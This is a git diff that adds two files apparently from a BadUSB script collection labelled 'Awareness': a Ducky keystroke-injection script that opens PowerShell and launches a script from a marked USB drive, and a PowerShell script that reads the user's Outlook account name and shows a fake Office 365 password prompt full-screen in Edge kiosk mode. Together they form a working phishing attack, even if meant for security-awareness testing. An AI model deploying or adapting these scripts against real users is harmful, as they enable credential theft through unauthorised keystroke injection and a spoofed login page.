diff --git a/BadUSB/Ducky Scripts/Awareness/Phish_Office365-onUSB.ps1 b/BadUSB/Ducky Scripts/Awareness/Phish_Office365-onUSB.ps1 new file mode 100644 index 0000000..a204504 --- /dev/null +++ b/BadUSB/Ducky Scripts/Awareness/Phish_Office365-onUSB.ps1 @@ -0,0 +1,12 @@ +Add-Type -AssemblyName "Microsoft.Office.Interop.Outlook" +$o = New-Object -ComObject Outlook.Application -ErrorAction SilentlyContinue +$n = $o.GetNamespace("MAPI") +$i = $n.GetDefaultFolder(6) +$u = $i.Parent.Store.DisplayName +$h = @" +

$u


Enter Password

Your organisation policy requires you to sign in again
after a certain period of time.

Forgot password?



Employees Login Portal

+"@ +$p = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "index.html") +$h | Out-File -Encoding UTF8 -FilePath $p +$a = "file://$p" +Start-Process -FilePath "msedge.exe" -ArgumentList "--kiosk --app=$a" -WindowStyle Maximized diff --git a/BadUSB/Ducky Scripts/Awareness/Phish_Office365_From_Usb.txt b/BadUSB/Ducky Scripts/Awareness/Phish_Office365_From_Usb.txt new file mode 100644 index 0000000..7bbf6bb --- /dev/null +++ b/BadUSB/Ducky Scripts/Awareness/Phish_Office365_From_Usb.txt @@ -0,0 +1,10 @@ +DELAY 1000 +GUI r +DELAY 1000 +STRING powershell +ENTER +DELAY 2000 +ALTCODE $A="powershell.exe";$B="Phish_Office365-onUSB.ps1";$C="4e657a1d-b1a5-4a75-8e45-9a82791a2f21.txt";$D=$false;while(-not $D){$E=Get-WmiObject -Class Win32_Volume|Where-Object{$_.DriveType -eq 2};foreach($F in $E){$G=Join-Path -Path $F.Name -ChildPath $C;if(Test-Path $G){$D=$true;$H=Join-Path -Path $F.Name -ChildPath $B;Start-Process -FilePath $A -ArgumentList "-File $H -Wait"};break}};Exit +ENTER +DELAY 1500 +GUI l \ No newline at end of file